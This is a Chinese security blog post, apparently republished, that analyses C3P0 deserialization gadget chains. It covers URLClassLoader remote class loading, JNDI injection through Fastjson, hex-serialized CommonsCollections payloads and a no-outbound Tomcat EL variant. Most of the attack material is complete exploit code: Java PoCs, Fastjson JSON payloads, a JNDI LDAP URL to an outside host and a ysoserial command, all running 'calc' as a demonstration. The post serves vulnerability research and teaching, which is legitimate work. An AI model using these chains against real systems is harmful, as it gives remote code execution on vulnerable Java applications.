浅析C3P0攻击链
2023-3-15 15:18:0 Author: xz.aliyun.com(查看原文) 阅读量:26 收藏

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。

JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

1、URLClassLoader远程类加载
2、JNDI注入
3、利用HEX序列化字节加载器进行反序列化攻击

URLClassLoader

漏洞点在PoolBackedDataSourceBase

readobject

private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException
    {
        short version = ois.readShort();
        switch (version)
        {
            case VERSION:
                // we create an artificial scope so that we can use the name o for all indirectly serialized objects.
                {
                    Object o = ois.readObject();
                    if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();
                    this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
                }
                this.dataSourceName = (String) ois.readObject();
                // we create an artificial scope so that we can use the name o for all indirectly serialized objects.
                {
                    Object o = ois.readObject();
                    if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();
                    this.extensions = (Map) o;
                }
                this.factoryClassLocation = (String) ois.readObject();
                this.identityToken = (String) ois.readObject();
                this.numHelperThreads = ois.readInt();
                this.pcs = new PropertyChangeSupport( this );
                this.vcs = new VetoableChangeSupport( this );
                break;
            default:
                throw new IOException("Unsupported Serialized Version: " + version);
        }
    }

注意到

这里会先判断对象o是否是IndirectlySerialized类的对象或者是其子类的对象
调用getobject后强转换对象为ConnectionPoolDataSource
但是该接口并不能反序列化

去看下入口点writeobject处的写法
writeobject

看下调用返回的对象

是一个ReferenceSerialized的构造方法

举个不是很恰当的例子
ReferenceSerialized是“加强版”的ConnectionPoolDataSource

也就是说在序列化时,实际上的类进行了转换,ConnectionPoolDataSource->ReferenceSerialized

再回到readobject调用的IndirectlySerialized.getobject
位于ReferenceIndirector
getObject

public Object getObject() throws ClassNotFoundException, IOException
    {
        try
        {
            Context initialContext;
            if ( env == null )
            initialContext = new InitialContext();
            else
            initialContext = new InitialContext( env );

            Context nameContext = null;
            if ( contextName != null )
            nameContext = (Context) initialContext.lookup( contextName );

            return ReferenceableUtils.referenceToObject( reference, name, nameContext, env ); 
        }
        catch (NamingException e)
        {
            //e.printStackTrace();
            if ( logger.isLoggable( MLevel.WARNING ) )
            logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
            throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
        }
    }

这里是对环境变量上下文进行加载
我们关注return这里ReferenceableUtils.referenceToObject,跟进

public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)
    throws NamingException
    {
    try
        {
        String fClassName = ref.getFactoryClassName();
        String fClassLocation = ref.getFactoryClassLocation();

        ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader();
        if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader();

        ClassLoader cl;
        if ( fClassLocation == null )
            cl = defaultClassLoader;
        else
            {
            URL u = new URL( fClassLocation );
            cl = new URLClassLoader( new URL[] { u }, defaultClassLoader );
            }

        Class fClass = Class.forName( fClassName, true, cl );
        ObjectFactory of = (ObjectFactory) fClass.newInstance();
        return of.getObjectInstance( ref, name, nameCtx, env );
        }
    catch ( Exception e )
        {
        if (Debug.DEBUG) 
            {
            //e.printStackTrace();
            if ( logger.isLoggable( MLevel.FINE ) )
                logger.log( MLevel.FINE, "Could not resolve Reference to Object!", e);
            }
        NamingException ne = new NamingException("Could not resolve Reference to Object!");
        ne.setRootCause( e );
        throw ne;
        }
    }

我们可以控制fClassLocation,最后通过URLClassLoader并初始化该实例来实现恶意代码执行

Gadget

PoolBackedDataSourceBase#readObject->
ReferenceIndirector#getObject->
ReferenceableUtils#referenceToObject->
of(ObjectFactory)#getObjectInstance

EXP

这里有个getReference方法,直接返回一个Reference对象

我们可以通过该方法直接构造对象

这里我们获取ConnectionPoolDataSource类的私有属性,因为反序列化的是该类对象

PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSourceField.setAccessible(true);

按照getReference方法再重写一个方法

public class C3P01 {

    public static class C3P0 implements ConnectionPoolDataSource, Referenceable{

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("Calc","Calc","http://127.0.0.1:8002/");
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }

最后是两个常规方法,序列化和反序列化,但这里我们还需要把构造好的connectionPoolDataSource替换成我们本地的Calc
所以这里再通过

connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);  //将对象进行修改

并把它写在序列化入口,然后在反序列化

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;


import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P01 {

    public static class C3P0 implements ConnectionPoolDataSource, Referenceable{

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("Calc","Calc","http://127.0.0.1:8002/");
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }






    public static void unserialize(byte[] bytes) throws Exception{
        try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bain)){
            oin.readObject();
        }
    }

    public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSourceField.setAccessible(true);
        connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);


        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
            oout.writeObject(poolBackedDataSourceBase);
            return baout.toByteArray();
        }

    }

    public static void main(String[] args) throws Exception{
        C3P0 exp = new C3P0();
        byte[] bytes = serialize(exp);
        unserialize(bytes);
    }

}

calc

import java.io.IOException;

public class Calc {
    public Calc() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

本白一开始的傻帽操作,把文件放包下了,一直不能弹计算器,郁闷(真傻

JNDI注入

JndiRefForwardingDataSourcedereference()方法中有look,并且jndiName通过getJndiName()获取,可造成JNDI注入

先看下getJnDIName

public Object getJndiName()
    { return (jndiName instanceof Name ? ((Name) jndiName).clone() : jndiName /* String */); }

判断是否是name类型,不是则返回String类型

继续向上找可以利用的点
inner()

找到setLoginRimeout,形参为int

下面就是WrapperConnectionPoolDataSourceJndiRefConnectionPoolDataSource的同名函数
JndiRefConnectionPoolDataSourcesetLoginTimeout,因为wcpdsWrapperConnectionPoolDataSource类下的,所以这里会调用WrapperConnectionPoolDataSource下的同名方法

这里会调用getNestedDataSource()对象

跟进后发现其实就是JndiRefForwardingDataSource

在下一步就知道到这里

后面就会去加载我们传入的jndiName

Gadget

JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup

EXP

import com.alibaba.fastjson.JSON;

public class JNDI {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
                "\"jndiName\":\"ldap://10.6.42.156:8085/NpgoGBfd\",\"LoginTimeout\":\"1\"}";
        JSON.parse(payload);
    }
}

HEX序列化

WrapperConnectionPoolDataSource的构造方法下

调用了C3P0ImplUtils.parseUserOverridesAsString

跟进

public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
    { 
    if (userOverridesAsString != null)
        {
        String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
        byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
        return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
        }
    else
        return Collections.EMPTY_MAP;
    }

userOverridesAsString不为空进入if
首先会用substringuserOverridesAsString进行截取,将HASM_HEADER头和最后一位的;扣掉
userOverridesAsString是一个私有的常量

private final static String HASM_HEADER = "HexAsciiSerializedMap";

将十六进制转成字节数组,最后再强转为map对象

跟进`fromByteArray

public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
    { 
    Object out = deserializeFromByteArray( bytes ); 
    if (out instanceof IndirectlySerialized)
        return ((IndirectlySerialized) out).getObject();
    else
        return out;
    }

最后到

public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
    {
    ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
    return in.readObject();
    }

进行反序列化

Gadget

WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource->
C3P0ImplUtils#parseUserOverridesAsString->
SerializableUtils#fromByteArray->
SerializableUtils#deserializeFromByteArray->
SerializableUtils

EXP

这里用CC4和CC6举例

import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class C3P0Hex_CC6 {


    public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap1=new HashMap<>();
        LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Atkx");
        HashMap<Object,Object> hashMap2=new HashMap<>();
        hashMap2.put(tiedMapEntry,"bbb");
        lazyMap.remove("Atkx");



        Class clazz=LazyMap.class;
        Field factoryField= clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        return hashMap2;
    }


    static void addHexAscii(byte b, StringWriter sw)
    {
        int ub = b & 0xff;
        int h1 = ub / 16;
        int h2 = ub % 16;
        sw.write(toHexDigit(h1));
        sw.write(toHexDigit(h2));
    }

    private static char toHexDigit(int h)
    {
        char out;
        if (h <= 9) out = (char) (h + 0x30);
        else out = (char) (h + 0x37);
        //System.err.println(h + ": " + out);
        return out;
    }

    //将类序列化为字节数组
    public static byte[] tobyteArray(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }

    //字节数组转十六进制
    public static String toHexAscii(byte[] bytes)
    {
        int len = bytes.length;
        StringWriter sw = new StringWriter(len * 2);
        for (int i = 0; i < len; ++i)
            addHexAscii(bytes[i], sw);
        return sw.toString();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException {
        String hex = toHexAscii(tobyteArray(exp()));
        System.out.println(hex);

        //Fastjson<1.2.47
//        String payload = "{" +
//                "\"1\":{" +
//                "\"@type\":\"java.lang.Class\"," +
//                "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
//                "}," +
//                "\"2\":{" +
//                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
//                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
//                "}" +
//                "}";
        //低版本利用
        String payload = "{" +
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
                "}";
        JSON.parse(payload);


    }
}
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class C3P0Hex_CC4 {

    public static PriorityQueue CC4() throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesclass = templates.getClass();
        //name字段
        Field nameField = templatesclass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Atkx");

        //恶意bytecode字段
        Field bytecodeFiled = templatesclass.getDeclaredField("_bytecodes");
        bytecodeFiled.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("H://Code/JavaSecurityCode/cc3/target/classes/calc.class"));
        byte[][] codes = {code};
        bytecodeFiled.set(templates,codes);


        //工厂类字段
        Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl() {
        });

        //调用transformer任意方法的接口,此处通过InstantiateTransformer代替InvokerTransformer
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
                new Class[]{ Templates.class},new Object[]{templates});
        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);
        return priorityQueue;

    }

    static void addHexAscii(byte b, StringWriter sw)
    {
        int ub = b & 0xff;
        int h1 = ub / 16;
        int h2 = ub % 16;
        sw.write(toHexDigit(h1));
        sw.write(toHexDigit(h2));
    }

    private static char toHexDigit(int h)
    {
        char out;
        if (h <= 9) out = (char) (h + 0x30);
        else out = (char) (h + 0x37);
        //System.err.println(h + ": " + out);
        return out;
    }

    //将类序列化为字节数组
    public static byte[] tobyteArray(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }

    //字节数组转十六进制
    public static String toHexAscii(byte[] bytes)
    {
        int len = bytes.length;
        StringWriter sw = new StringWriter(len * 2);
        for (int i = 0; i < len; ++i)
            addHexAscii(bytes[i], sw);
        return sw.toString();
    }

    public static void main(String[] args) throws Exception {
        String hex = toHexAscii(tobyteArray(CC4()));
        System.out.println(hex);





        //Fastjson<1.2.47
//        String payload = "{" +
//                "\"1\":{" +
//                "\"@type\":\"java.lang.Class\"," +
//                "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
//                "}," +
//                "\"2\":{" +
//                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
//                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
//                "}" +
//                "}";
        //低版本利用
        String payload = "{" +
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
                "}";
        JSON.parse(payload);
    }
}

当然也可以使用CB链或其他链子

也可以通过加载反序列化对象来执行

java -jar .\ysoserial-all.jar CommonsCollections6 "open -a Calculator" > calc.ser
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class C3P0_all {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream("L:\\JavaSecurity\\ysoserial-0.0.6\\calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

得到十六进制,直接去执行即可

不出网利用

当目标机器不出网,且没有fastjson相关依赖时,C3P0该如何利用?

环境

<dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-catalina</artifactId>
        <version>8.5.0</version>
    </dependency>


    <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-el</artifactId>
        <version>8.5.15</version>
    </dependency>

漏洞点位于org.apache.naming.factory.BeanFactory

只有一个方法getObjectInstance
回顾第一个链子URL,会发现最后调用的就是该方法,而不出网的利用方式就是通过本地类的加载来进行EL表达式注入

将URL链子执行的地方改成EL表达式即可,其余不用变

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0_Local {
    public static class C3P0 implements ConnectionPoolDataSource, Referenceable {

        @Override
        public Reference getReference() throws NamingException {
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
            resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
            return resourceRef;
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }






    public static void unserialize(byte[] bytes) throws Exception{
        try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bain)){
            oin.readObject();
        }
    }

    public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSourceField.setAccessible(true);
        connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);


        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
            oout.writeObject(poolBackedDataSourceBase);
            return baout.toByteArray();
        }

    }

    public static void main(String[] args) throws Exception{
        C3P01.C3P0 exp = new C3P01.C3P0();
        byte[] bytes = serialize(exp);
        unserialize(bytes);
    }
}


文章来源: https://xz.aliyun.com/t/12286
如有侵权请联系:admin#unsafe.sh